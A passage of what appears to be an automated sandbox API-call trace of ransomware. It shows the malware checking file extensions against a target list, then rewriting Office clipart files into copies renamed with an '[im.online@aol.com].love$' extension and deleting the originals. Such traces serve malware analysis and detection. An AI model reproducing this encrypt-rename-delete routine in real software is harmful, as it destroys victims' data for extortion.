Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.456] lstrlenW (lpString=".zip") returned 4 [0272.456] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.457] lstrlenW (lpString=".rar") returned 4 [0272.457] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.457] lstrlenW (lpString=".bz2") returned 4 [0272.457] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.457] lstrlenW (lpString=".7z") returned 3 [0272.457] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.457] lstrlenW (lpString=".dbf") returned 4 [0272.457] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.457] lstrlenW (lpString=".1cd") returned 4 [0272.457] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.457] lstrlenW (lpString=".jpg") returned 4 [0272.457] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.457] lstrlenW (lpString=".doc") returned 4 [0272.457] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.457] lstrlenW (lpString=".docx") returned 5 [0272.457] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0272.457] lstrlenW (lpString=".pdf") returned 4 [0272.457] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.457] lstrlenW (lpString=".xls") returned 4 [0272.458] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.458] lstrlenW (lpString=".xlsx") returned 5 [0272.458] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0272.458] lstrlenW (lpString=".ppt") returned 4 [0272.458] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.458] lstrlenW (lpString=".zip") returned 4 [0272.458] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.458] lstrlenW (lpString=".rar") returned 4 [0272.458] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.458] lstrlenW (lpString=".bz2") returned 4 [0272.458] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.458] lstrlenW (lpString=".7z") returned 3 [0272.458] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.458] lstrlenW (lpString=".dbf") returned 4 [0272.458] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.458] lstrlenW (lpString=".1cd") returned 4 [0272.458] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.458] lstrlenW (lpString=".jpg") returned 4 [0272.458] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.459] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.459] lstrlenW (lpString="J0101980.WMF") returned 12 [0272.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.460] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=16104) returned 1 [0272.460] CloseHandle (hObject=0x47c) returned 1 [0272.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0272.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.461] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.461] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0272.463] GetLastError () returned 0x0 [0272.463] ReadFile (in: hFile=0x47c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0272.468] WriteFile (in: hFile=0x4ac, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0272.470] ReadFile (in: hFile=0x47c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.470] WriteFile (in: hFile=0x4ac, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.470] SetEndOfFile (hFile=0x4ac) returned 1 [0272.471] CloseHandle (hObject=0x4ac) returned 1 [0272.471] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.471] SetEndOfFile (hFile=0x47c) returned 1 [0272.485] CloseHandle (hObject=0x47c) returned 1 [0272.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0272.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.488] lstrlenW (lpString=".doc") returned 4 [0272.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.488] lstrlenW (lpString=".docx") returned 5 [0272.488] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0272.489] lstrlenW (lpString=".pdf") returned 4 [0272.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.489] lstrlenW (lpString=".xls") returned 4 [0272.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.489] lstrlenW (lpString=".xlsx") returned 5 [0272.489] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0272.489] lstrlenW (lpString=".ppt") returned 4 [0272.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.489] lstrlenW (lpString=".zip") returned 4 [0272.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.489] lstrlenW (lpString=".rar") returned 4 [0272.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.489] lstrlenW (lpString=".bz2") returned 4 [0272.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.489] lstrlenW (lpString=".7z") returned 3 [0272.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.489] lstrlenW (lpString=".dbf") returned 4 [0272.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.489] lstrlenW (lpString=".1cd") returned 4 [0272.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.490] lstrlenW (lpString=".jpg") returned 4 [0272.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.490] lstrlenW (lpString=".doc") returned 4 [0272.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.490] lstrlenW (lpString=".docx") returned 5 [0272.490] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0272.490] lstrlenW (lpString=".pdf") returned 4 [0272.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.490] lstrlenW (lpString=".xls") returned 4 [0272.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.490] lstrlenW (lpString=".xlsx") returned 5 [0272.490] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0272.490] lstrlenW (lpString=".ppt") returned 4 [0272.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.490] lstrlenW (lpString=".zip") returned 4 [0272.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.491] lstrlenW (lpString=".rar") returned 4 [0272.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.491] lstrlenW (lpString=".bz2") returned 4 [0272.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.491] lstrlenW (lpString=".7z") returned 3 [0272.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.491] lstrlenW (lpString=".dbf") returned 4 [0272.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.491] lstrlenW (lpString=".1cd") returned 4 [0272.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0272.491] lstrlenW (lpString=".jpg") returned 4 [0272.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.491] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.491] lstrlenW (lpString="J0102002.WMF") returned 12 [0272.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.494] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=15988) returned 1 [0272.494] CloseHandle (hObject=0x47c) returned 1 [0272.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0272.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.894] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.894] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.141] GetLastError () returned 0x0 [0273.141] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0273.144] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0273.145] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.145] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.145] SetEndOfFile (hFile=0x388) returned 1 [0273.145] CloseHandle (hObject=0x388) returned 1 [0273.146] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.146] SetEndOfFile (hFile=0x418) returned 1 [0273.149] CloseHandle (hObject=0x418) returned 1 [0273.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0273.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.152] lstrlenW (lpString=".doc") returned 4 [0273.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.152] lstrlenW (lpString=".docx") returned 5 [0273.152] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.152] lstrlenW (lpString=".pdf") returned 4 [0273.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.152] lstrlenW (lpString=".xls") returned 4 [0273.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.152] lstrlenW (lpString=".xlsx") returned 5 [0273.152] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.152] lstrlenW (lpString=".ppt") returned 4 [0273.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.152] lstrlenW (lpString=".zip") returned 4 [0273.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.152] lstrlenW (lpString=".rar") returned 4 [0273.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.152] lstrlenW (lpString=".bz2") returned 4 [0273.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.152] lstrlenW (lpString=".7z") returned 3 [0273.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.152] lstrlenW (lpString=".dbf") returned 4 [0273.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.153] lstrlenW (lpString=".1cd") returned 4 [0273.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.153] lstrlenW (lpString=".jpg") returned 4 [0273.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.153] lstrlenW (lpString=".doc") returned 4 [0273.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.153] lstrlenW (lpString=".docx") returned 5 [0273.153] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.153] lstrlenW (lpString=".pdf") returned 4 [0273.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.153] lstrlenW (lpString=".xls") returned 4 [0273.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.153] lstrlenW (lpString=".xlsx") returned 5 [0273.153] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.153] lstrlenW (lpString=".ppt") returned 4 [0273.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.153] lstrlenW (lpString=".zip") returned 4 [0273.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.153] lstrlenW (lpString=".rar") returned 4 [0273.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.153] lstrlenW (lpString=".bz2") returned 4 [0273.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.154] lstrlenW (lpString=".7z") returned 3 [0273.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.154] lstrlenW (lpString=".dbf") returned 4 [0273.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.154] lstrlenW (lpString=".1cd") returned 4 [0273.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0273.154] lstrlenW (lpString=".jpg") returned 4 [0273.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.154] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.154] lstrlenW (lpString="J0105230.WMF") returned 12 [0273.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0273.156] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5172) returned 1 [0273.156] CloseHandle (hObject=0x418) returned 1 [0273.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0273.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0273.157] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.157] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.158] GetLastError () returned 0x0 [0273.158] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1434, lpOverlapped=0x0) returned 1 [0273.160] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1440, lpOverlapped=0x0) returned 1 [0273.162] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.162] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.162] SetEndOfFile (hFile=0x388) returned 1 [0273.162] CloseHandle (hObject=0x388) returned 1 [0273.162] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.162] SetEndOfFile (hFile=0x418) returned 1 [0273.166] CloseHandle (hObject=0x418) returned 1 [0273.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0273.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.168] lstrlenW (lpString=".doc") returned 4 [0273.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString=".docx") returned 5 [0273.168] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.168] lstrlenW (lpString=".pdf") returned 4 [0273.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString=".xls") returned 4 [0273.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.168] lstrlenW (lpString=".xlsx") returned 5 [0273.168] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.168] lstrlenW (lpString=".ppt") returned 4 [0273.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0273.168] lstrlenW (lpString=".zip") returned 4 [0273.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.168] lstrlenW (lpString=".rar") returned 4 [0273.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString=".bz2") returned 4 [0273.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString=".7z") returned 3 [0273.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft 